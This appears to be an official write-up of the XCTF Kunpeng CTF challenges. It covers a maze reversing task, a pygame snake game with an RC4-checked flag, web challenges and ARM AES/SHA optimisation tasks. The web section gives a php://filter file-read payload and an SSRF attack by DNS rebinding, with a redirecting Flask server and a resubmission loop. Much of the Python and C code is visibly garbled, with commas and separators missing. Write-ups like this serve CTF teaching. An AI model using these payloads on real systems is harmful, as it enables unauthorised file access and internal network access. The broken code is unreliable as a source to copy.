		ptr = &_[10];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[10];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[5];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[32];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[5];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[5];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[13];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[33];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[13];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[13];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[8];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[33];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[8];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[8];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[3];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[33];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[3];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[3];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[22];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[33];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[22];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[22];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[30];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[33];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[30];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[30];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[7];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[34];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[7];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[7];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[2];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[34];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[2];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[2];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[21];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[34];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[21];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[21];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[28];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[34];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[28];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[28];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[17];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[34];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[17];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[17];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[8];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[35];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[8];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[8];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[15];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[35];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[15];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[15];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[22];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[35];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[22];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[22];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[29];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[35];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[29];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[29];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[6];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[35];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[6];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[6];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[7];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[36];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[7];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[7];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[20];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[36];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[20];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[20];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[3];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[36];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[3];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[3];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[17];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[36];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[17];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[17];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[30];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[36];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[30];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[30];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[37];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 53;
	ptr = &_[38];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 228;
	ptr = &_[39];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 5;
	ptr = &_[40];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 158;
	ptr = &_[41];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 73;
	ptr = &_[42];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 123;
	ptr = &_[31];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[37];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[31];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[31];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[32];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[38];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[32];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[32];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[33];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[39];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[33];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[33];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[34];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[40];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[34];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[34];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[35];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[41];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[35];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[35];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[36];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[42];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[36];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[36];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[43];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 48;
	ptr = &_[37];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[37];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[38];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[38];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[39];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[39];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[40];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[40];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[41];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[41];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[42];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[42];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[44];
	*ptr = getchar();
	ptr = &_[45];
	*ptr = getchar();
	ptr = &_[46];
	*ptr = getchar();
	ptr = &_[47];
	*ptr = getchar();
	ptr = &_[48];
	*ptr = getchar();
	ptr = &_[49];
	*ptr = getchar();
	ptr = &_[50];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 101;
	ptr = &_[51];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 95;
	ptr = &_[52];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 67;
	ptr = &_[53];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 48;
	ptr = &_[54];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 100;
	ptr = &_[55];
	while(*ptr){
		*ptr -= 1;
	}
	*ptr = 51;
	ptr = &_[44];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[50];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[44];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[44];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[45];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[51];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[45];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[45];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[46];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[52];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[46];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[46];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[47];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[53];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[47];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[47];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[48];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[54];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[48];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[48];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[49];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[55];
		*ptr -= 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[49];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[49];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[50];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[50];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[51];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[51];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[52];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[52];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[53];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[53];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[54];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[54];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[55];
	while(*ptr){
	*ptr = 0;
		ptr = &_[43];
		*ptr += 1;
		ptr = &_[55];
		while(*ptr){
			*ptr -= 1;
		}
	}
	ptr = &_[43];
	putchar(*ptr);
}

pypy

题目考察选手对于算法的逆向分析能力

题解 题目实际上要解的是一个迷宫,wasd分别对应上下左右 有三层关卡,通过了三层关卡之后才能够拿到最后正确信息

最后的输入内容是

sssssssdddddddsssssssssssddddddddddsddssddwddssssssdddssssdddss

flag{snake_bao_is_really_lucky}

exp.py

import random
import codecs
import sys
import time
import pygame
from pygame.locals import *
from collections import deque

SCREEN_WIDTH = 600
SCREEN_HEIGHT = 480
SIZE = 20
LINE_WIDTH = 1
flag = "flag{snake_bao_is_really_lucky}"

SCOPE_X = (0SCREEN_WIDTH // SIZE - 1)
SCOPE_Y = (2SCREEN_HEIGHT // SIZE - 1)

FOOD_STYLE_LIST = [(10, (255100100)), (20, (100255100)), (30, (100100255))]

LIGHT = (100100100)
DARK = (200200200)
BLACK = (000)
RED = (2003030)
BGCOLOR = (404060)


def print_text(screenfontxytextfcolor=(255255255)):
   imgText = font.render(textTruefcolor)
   screen.blit(imgText, (xy))


def init_snake():
   snake = deque()
   snake.append((2SCOPE_Y[0]))
   snake.append((1SCOPE_Y[0]))
   snake.append((0SCOPE_Y[0]))
   return snake


def create_food(snake):
   food_x = random.randint(SCOPE_X[0], SCOPE_X[1])
   food_y = random.randint(SCOPE_Y[0], SCOPE_Y[1])
   while (food_xfood_yin snake:
       food_x = random.randint(SCOPE_X[0], SCOPE_X[1])
       food_y = random.randint(SCOPE_Y[0], SCOPE_Y[1])
   return food_xfood_y


def get_food_style():
   return FOOD_STYLE_LIST[random.randint(02)]

DEFAULT_KEY = "\x59\xf3\x02\xc3\x25\x9a\x82\x30\x0b\xbb\x25\x7f\x7e\x3b\xd2\xdc"

def rc4(datakey=DEFAULT_KEYskip=1024):
   x = 0
   box = bytearray([i for i in range(256)])
   x = 0
   for i in range(256):
       x = (x + box[i+ ord(key[i % len(key)])) % 256
       tmp = box[i]
       tmp2 = box[x]
       box[i] = box[x]
       box[x] = tmp
   x = 0
   y = 0
   out = []
   if skip > 0:
       for i in range(skip):
           x = (x + 1% 256
           y = (y + box[x]) % 256
           box[x], box[y] = box[y], box[x]
   for char in data:
       x = (x + 1% 256
       y = (y + box[x]) % 256
       box[x], box[y] = box[y], box[x]
       k = box[(box[x+ box[y]) % 256]
       out.append(chr(ord(char^ k))
   return ''.join(out)

def func(t):
   data = rc4(t)
   if data.encode("utf-8").hex() == "275b39c381c28b701ac3972338456022c2ba06c3b04f5501471c47c38ac380c29b72c3b5c38a7ec2a5c2a0":
       return "YOU WIN"
   else:
       return "YOU LOSE"




def main():
   pygame.init()
   screen = pygame.display.set_mode((SCREEN_WIDTHSCREEN_HEIGHT))
   pygame.display.set_caption('贪吃蛇')

   font1 = pygame.font.SysFont('SimHei'24)
   font2 = pygame.font.Font(None72)
   fwidthfheight = font2.size('GAME OVER')

   b = True

   snake = init_snake()
   food = create_food(snake)
   food_style = get_food_style()
   pos = (10)

   game_over = True
   start = False
   score = 0
   orispeed = 0.5
   speed = orispeed
   last_move_time = None
   pause = False

   while True:
       for event in pygame.event.get():
           if event.type == QUIT:
               sys.exit()
           elif event.type == KEYDOWN:
               if event.key == K_RETURN:
                   if game_over:
                       start = True
                       game_over = False
                       b = True
                       snake = init_snake()
                       food = create_food(snake)
                       food_style = get_food_style()
                       pos = (10)
                       score = 0
                       last_move_time = time.time()
               elif event.key == K_SPACE:
                   if not game_over:
                       pause = not pause
               elif event.key in (K_wK_UP):
                   if b and not pos[1]:
                       pos = (0-1)
                       b = False
               elif event.key in (K_sK_DOWN):
                   if b and not pos[1]:
                       pos = (01)
                       b = False
               elif event.key in (K_aK_LEFT):
                   if b and not pos[0]:
                       pos = (-10)
                       b = False
               elif event.key in (K_dK_RIGHT):
                   if b and not pos[0]:
                       pos = (10)
                       b = False

       screen.fill(BGCOLOR)
       for x in range(SIZESCREEN_WIDTHSIZE):
           pygame.draw.line(screenBLACK, (xSCOPE_Y[0* SIZE), (xSCREEN_HEIGHT), LINE_WIDTH)
       for y in range(SCOPE_Y[0* SIZESCREEN_HEIGHTSIZE):
           pygame.draw.line(screenBLACK, (0y), (SCREEN_WIDTHy), LINE_WIDTH)

       if not game_over:
           curTime = time.time()
           if curTime - last_move_time > speed:
               if not pause:
                   b = True
                   last_move_time = curTime
                   next_s = (snake[0][0+ pos[0], snake[0][1+ pos[1])
                   if next_s == food:
                       snake.appendleft(next_s)
                       score += food_style[0]
                       speed = orispeed - 0.03 * (score // 100)
                       food = create_food(snake)
                       food_style = get_food_style()
                   else:
                       if SCOPE_X[0<next_s[0<SCOPE_X[1and SCOPE_Y[0<next_s[1<SCOPE_Y[1\
                               and next_s not in snake:
                           snake.appendleft(next_s)
                           snake.pop()
                       else:
                           game_over = True

       if not game_over:
           pygame.draw.rect(screenfood_style[1], (food[0* SIZEfood[1* SIZESIZESIZE), 0)

       for s in snake:
           pygame.draw.rect(screenDARK, (s[0* SIZE + LINE_WIDTHs[1* SIZE + LINE_WIDTH,
                                           SIZE - LINE_WIDTH * 2SIZE - LINE_WIDTH * 2), 0)

       print_text(screenfont1307f'speed: {score//100}')
       print_text(screenfont14507f'score: {score}')

       if score >10:
           text = flag
           print_text(screenfont2, (SCREEN_WIDTH - fwidth// 2, (SCREEN_HEIGHT - fheight// 2func(text), RED)

       if game_over:
           if start:
               print_text(screenfont2, (SCREEN_WIDTH - fwidth// 2, (SCREEN_HEIGHT - fheight// 2'GAME OVER'RED)

       pygame.display.update()


if __name__ == '__main__':
   main()

web

babyphp

首先根据提示去Google源码,这个其实是很多人用的内网扫描php的小代码。 发现这个代码还有当代理访问网页的功能,但是css获取的时候判断不严格可以造成任意文件读取。此处读取flag.php。

将同文件夹中的1.html部署在网上之后,直接带链接访问可以得到flag。

1.html

<link href="php://filter/read=convert.base64-encode|write=http://1.css/resource=flag.php">

cloudstorage

这个题需要根据题⽬暴露给选⼿的ip和端⼝来做题 ⽐如我现在题⽬ip是101.x.x.x 端⼝是12311

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

上传⽂件则返回下载地址 访问则可以下载

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

根据源码,有一个/admin的路由,能看到我们上传过的所有的文件

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

可以点击,点击则调用doPost函数post给/admin

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

点击之后,则可以在页面显示出这个文件的源码

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

其实这只是一个request去访问 然后打印出访问的结果罢了

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

这里用了check()对传过去的url进行了检测,看下这个check函数的源码 是不能被绕过的

const checkip = 1 function (value) {
    let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
    if (!pattern.exec(value))
        return false;
    let ary = value.split('.');

    for(let key in ary)
    {
        if (parseInt(ary[key]) > 255)
            return false;
    }
    return true ;
}

const dnslookup = function(s) {
    if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
        let query = '';
        try {
            query = JSON.parse(cp.execSync(`curl http://ipapi.com/json/${s}`)).query
        } catch (e) {
            return 'wrong'
        }
        return checkip(query) ? query : 'wrong'
    } else return 'wrong'
}

const check = function(s) {
    if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
        return false
    let blacklist = ['wrong', '127.', 'local', '@', 'flag']
    let host, port, dns;
    host = url.parse(s).hostname
    port = url.parse(s).port
    if ( host == null || port == null)
        return false
    dns = dnslookup(host);
    if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) )
        return false
    for (let i = 0; i < blacklist.length; i++)
    {
        let regex = new RegExp(blacklist[i], 'i');
        try {
            if(ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
                return false
        } catch (e) {}
        if (s.match(regex))
            return false
    }
    return true
}

本题考点在于DNS Rebinding,注意到这:

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

check() -> sleep 5 -> request.get 在check()内 如果是域名会进行dns解析: dns = dnslookup(host) 这个解析调用了公网上ip-api.com的dns解析api 然后request.get时访问域名时,自己会先解析dns一次,并且这中间有5秒延迟 所以我们可以利用这个时间差做重绑,首先吧dns解析到题目是101.x.x.x的地址则可以过check() 然后5秒后 题目去访问这个url再解析一次, 这时候dns服务器讲A记录改为别的地址 则可以访问到别的地址

题目是需要访问/flag来获得flag

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

node监听了80端口,这意味着我们并不能dns Rebinding访问,因为地址问题解决了可是端口问题还是过不去:

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

所以我们需要dns rebinding让request.get()去访问我们的vps 然后vps上做重定向 request会跟随这个重定向,重定向到127.0.0.1/flag即可

在自己服务器上起一个web服务,访问则通过header重定向到http://127.0.0.1/flag

from flask import Flask
app = Flask(__name__)
@app.route('/', methods=["GET","POST"])
def bb():
    return "login fail", 301, [("Location", "http://127.0.0.1/flag")]
app.run("0.0.0.0", port=40001)

关于dns rebinding有很多现成的平台,也可以自己搭建,推荐使用https://requestrepo.com/ 使用很简单且完全免费

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

我的服务器是47.x.x.x 现在我准备了一个域名,并且让他随机解析成题目的101.x.x.x或者我自己的47.x.x.x 然后提交 http://dns-rebinding-domin.com:40001 到/admin路由(因为我起的用来重定向的web服务是40001端口的) 因为dns解析存在缓存、延迟等问题,可能需要多提交几次才可以成功,写脚本循环

import requests as req
s = req.session()
url = "http://101.x.x.x:12311/admin"
data = {
    "fileurl" : "http://dns.rebinding.com:40001/"
}
while True:
    print(s.post(url=url, data=data).text)

如果dns直接返回的是vps的地址则过不去check 回显是invalid。如果全部解析到题目的地址,题目因为没有40001端口那么会返回超时的错误信息。一旦成功,则可以拿到flag

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

RealWorld

此类题框架上大同小异, 均要求选手提交 binary, 服务器运行后检查输出. 如果在规定时间内运行结束且输出符合要求, 即可拿到 flag.

aes

本题出题意图上是让选手考虑鲲鹏 920 CPU 上的 AES 指令集, 利用此指令扩展从而写出高性能的代码. 一个简单的示例代码见aes.c

aes.c

#if defined(__arm__) || defined(__aarch32__) || defined(__arm64__) || defined(__aarch64__) || defined(_M_ARM)
# if defined(__GNUC__)
# include <stdint.h>
# endif
# if defined(__ARM_NEON) || defined(_MSC_VER)
# include <arm_neon.h>
# endif
/* GCC and LLVM Clang, but not Apple Clang */
# if defined(__GNUC__) && !defined(__apple_build_version__)
# if defined(__ARM_ACLE) || defined(__ARM_FEATURE_CRYPTO)
#   include <arm_acle.h>
# endif
# endif
#endif  /* ARM Headers */

void aes_process_arm(const uint8_t key[], const uint8_t subkeys[], uint32_t rounds,
                    const uint8_t input[], uint8_t output[], uint32_t length)
{
while (length >= 16)
{
uint8x16_t block = vld1q_u8(input);

// AES single round encryption
block = vaeseq_u8(blockvld1q_u8(key));
// AES mix columns
block = vaesmcq_u8(block);

// AES single round encryption
block = vaeseq_u8(blockvld1q_u8(subkeys));
// AES mix columns
block = vaesmcq_u8(block);

for (unsigned int i=1i<rounds-2++i)
{
// AES single round encryption
block = vaeseq_u8(blockvld1q_u8(subkeys+i*16));
// AES mix columns
block = vaesmcq_u8(block);
}

// AES single round encryption
block = vaeseq_u8(blockvld1q_u8(subkeys+(rounds-2)*16));
// Final Add (bitwise Xor)
block = veorq_u8(blockvld1q_u8(subkeys+(rounds-1)*16));

vst1q_u8(outputblock);

input += 16output += 16;
length -= 16;
}
}

#if defined(TEST_MAIN)

#include <stdio.h>
#include <string.h>

int main(int argcchar* argv[])
{
/* FIPS 197, Appendix B input */
const uint8_t input[16= { /* user input, unaligned buffer */
0x320x430xf60xa80x880x5a0x300x8d0x310x310x980xa20xe00x370x070x34
};

/* FIPS 197, Appendix B key */
const uint8_t key[16= { /* user input, unaligned buffer */
0x2b0x7e0x150x160x280xae0xd20xa60xab0xf70x150x880x9 , 0xcf0x4f0x3c
};

/* FIPS 197, Appendix B expanded subkeys */
__attribute__((aligned(4)))
const uint8_t subkeys[10][16= { /* library controlled, aligned buffer */
{0xA00xFA0xFE0x170x880x540x2c0xb10x230xa30x390x390x2a0x6c0x760x05},
{0xF20xC20x950xF20x7a0x960xb90x430x590x350x800x7a0x730x590xf60x7f},
{0x3D0x800x470x7D0x470x160xFE0x3E0x1E0x230x7E0x440x6D0x7A0x880x3B},
{0xEF0x440xA50x410xA80x520x5B0x7F0xB60x710x250x3B0xDB0x0B0xAD0x00},
{0xD40xD10xC60xF80x7C0x830x9D0x870xCA0xF20xB80xBC0x110xF90x150xBC},
{0x6D0x880xA30x7A0x110x0B0x3E0xFD0xDB0xF90x860x410xCA0x000x930xFD},
{0x4E0x540xF70x0E0x5F0x5F0xC90xF30x840xA60x4F0xB20x4E0xA60xDC0x4F},
{0xEA0xD20x730x210xB50x8D0xBA0xD20x310x2B0xF50x600x7F0x8D0x290x2F},
{0xAC0x770x660xF30x190xFA0xDC0x210x280xD10x290x410x570x5c0x000x6E},
{0xD00x140xF90xA80xC90xEE0x250x890xE10x3F0x0c0xC80xB60x630x0C0xA6}
};

/* Result */
uint8_t result[19= { 0 };

aes_process_arm((const uint8_t*)key, (const uint8_t*)subkeys10inputresult+316);

printf("Input: ");
for (unsigned int i=0i<16++i)
printf("%02X "input[i]);
printf("\n");

printf("Key: ");
for (unsigned int i=0i<16++i)
printf("%02X "key[i]);
printf("\n");

printf("Output: ");
for (unsigned int i=3i<19++i)
printf("%02X "result[i]);
printf("\n");

/* FIPS 197, Appendix B output */
const uint8_t exp[16= {
0x390x250x840x1D0x020xDC0x090xFB0xDC0x110x850x970x190x6A0x0B0x32
};

if (0 == memcmp(result+3exp16))
printf("SUCCESS!!!\n");
else
printf("FAILURE!!!\n");

return 0;
}

#endif

conv

本题是一个类似于卷积的 stencil 操作, 有一些故意降低运行速度的代码, 需要选手去处理, 比如双层 for 循环顺序被调换, 并且计算时可以使用整形而不是浮点数, 以及对写入文件时可以进行结构上的优化. 优化思路如下 XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

 

hash

本题与 AES 相似, 需要利用 CPU 上 SHA2 指令集扩展. 并且同时需要使用 OpenMP 进行并行, 充分利用服务器上 48 个核心. 一个简单的实例hash.c.

hash.c

#if defined(__arm__) || defined(__aarch32__) || defined(__arm64__) || defined(__aarch64__) || defined(_M_ARM)
# if defined(__GNUC__)
#  include <stdint.h>
# endif
# if defined(__ARM_NEON) || defined(_MSC_VER) || defined(__GNUC__)
#  include <arm_neon.h>
# endif
/* GCC and LLVM Clang, but not Apple Clang */
# if defined(__GNUC__) && !defined(__apple_build_version__)
#  if defined(__ARM_ACLE) || defined(__ARM_FEATURE_CRYPTO)
#   include <arm_acle.h>
#  endif
# endif
#endif  /* ARM Headers */

static const uint32_t K[] =
{
    0x428A2F98, 0x71374491, 0xB5C0FBCF, 0xE9B5DBA5,
    0x3956C25B, 0x59F111F1, 0x923F82A4, 0xAB1C5ED5,
    0xD807AA98, 0x12835B01, 0x243185BE, 0x550C7DC3,
    0x72BE5D74, 0x80DEB1FE, 0x9BDC06A7, 0xC19BF174,
    0xE49B69C1, 0xEFBE4786, 0x0FC19DC6, 0x240CA1CC,
    0x2DE92C6F, 0x4A7484AA, 0x5CB0A9DC, 0x76F988DA,
    0x983E5152, 0xA831C66D, 0xB00327C8, 0xBF597FC7,
    0xC6E00BF3, 0xD5A79147, 0x06CA6351, 0x14292967,
